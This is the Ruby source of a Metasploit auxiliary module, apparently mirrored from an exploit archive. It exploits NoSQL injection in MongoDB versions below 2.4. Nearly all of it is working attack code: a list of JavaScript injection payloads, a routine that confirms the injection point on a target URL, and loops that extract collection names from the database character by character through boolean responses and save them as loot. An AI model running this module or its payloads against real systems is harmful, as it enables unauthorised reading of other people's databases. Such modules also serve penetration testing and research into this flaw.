## https://sploitus.com/exploit?id=PACKETSTORM:180589
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => "MongoDB NoSQL Collection Enumeration Via Injection",
'Description' => %q{
This module can exploit NoSQL injections on MongoDB versions less than 2.4
and enumerate the collections available in the data via boolean injections.
},
'License' => MSF_LICENSE,
'Author' =>
['Brandon Perry <bperry.volatile[at]gmail.com>'],
'References' =>
[
['URL', 'https://nosql.mypopescu.com/post/14453905385/attacking-nosql-and-nodejs-server-side#_=_']
],
'Platform' => ['linux', 'win'],
'Privileged' => false,
'DisclosureDate' => '2014-06-07'))
register_options(
[
OptString.new('TARGETURI', [ true, 'Full vulnerable URI with [NoSQLi] where the injection point is', '/index.php?age=50[NoSQLi]'])
])
end
def syntaxes
[["\"'||this||'", "'||[inject]||'"],
["\"';return+true;var+foo='", "';return+[inject];var+foo='"],
['\'"||this||"','"||[inject]||"'],
['\'";return+true;var+foo="', '";return+[inject];var+foo="'],
["||this","||[inject]"]]
end
def run
uri = datastore['TARGETURI']
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', '')
})
if !res
fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way.")
end
pay = ""
fals = res.body
tru = nil
syntaxes.each do |payload|
print_status("Testing " + payload[0])
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', payload[0])
})
if res and res.body != fals and res.code == 200
print_status("Looks like " + payload[0] + " works")
tru = res.body
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', payload[0].sub('true', 'false').sub('this', '!this'))
})
if res and res.body != tru and res.code == 200
vprint_status("I think I confirmed with a negative test.")
fals = res.body
pay = payload[1]
break
end
end
end
if pay == ''
fail_with(Failure::Unknown, "Couldn't detect a payload, maybe it isn't injectable.")
end
length = 0
vprint_status("Getting length of the number of collections.")
(0..100).each do |len|
str = "db.getCollectionNames().length==#{len}"
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
})
if res and res.body == tru
length = len
print_status("#{len} collections are available")
break
end
end
vprint_status("Getting collection names")
names = []
(0...length).each do |i|
vprint_status("Getting length of name for collection " + i.to_s)
name_len = 0
(0..100).each do |k|
str = "db.getCollectionNames()[#{i}].length==#{k}"
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
})
if res and res.body == tru
name_len = k
print_status("Length of collection #{i}'s name is #{k}")
break
end
end
vprint_status("Getting collection #{i}'s name")
name = ''
(0...name_len).each do |k|
[*('a'..'z'),*('0'..'9'),*('A'..'Z'),'.'].each do |c|
str = "db.getCollectionNames()[#{i}][#{k}]=='#{c}'"
res = send_request_cgi({
'uri' => uri.sub('[NoSQLi]', pay.sub('[inject]', str))
})
if res and res.body == tru
name << c
break
end
end
end
print_status("Collections #{i}'s name is " + name)
names << name
end
p = store_loot("mongo_injection.#{datastore['RHOST']}_collections",
"text/plain",
nil,
names.to_json,
"mongo_injection_#{datastore['RHOST']}.txt",
"#{datastore["RHOST"]} MongoDB Javascript Injection Collection Enumeration")
print_good("Your collections are located at: " + p)
end
end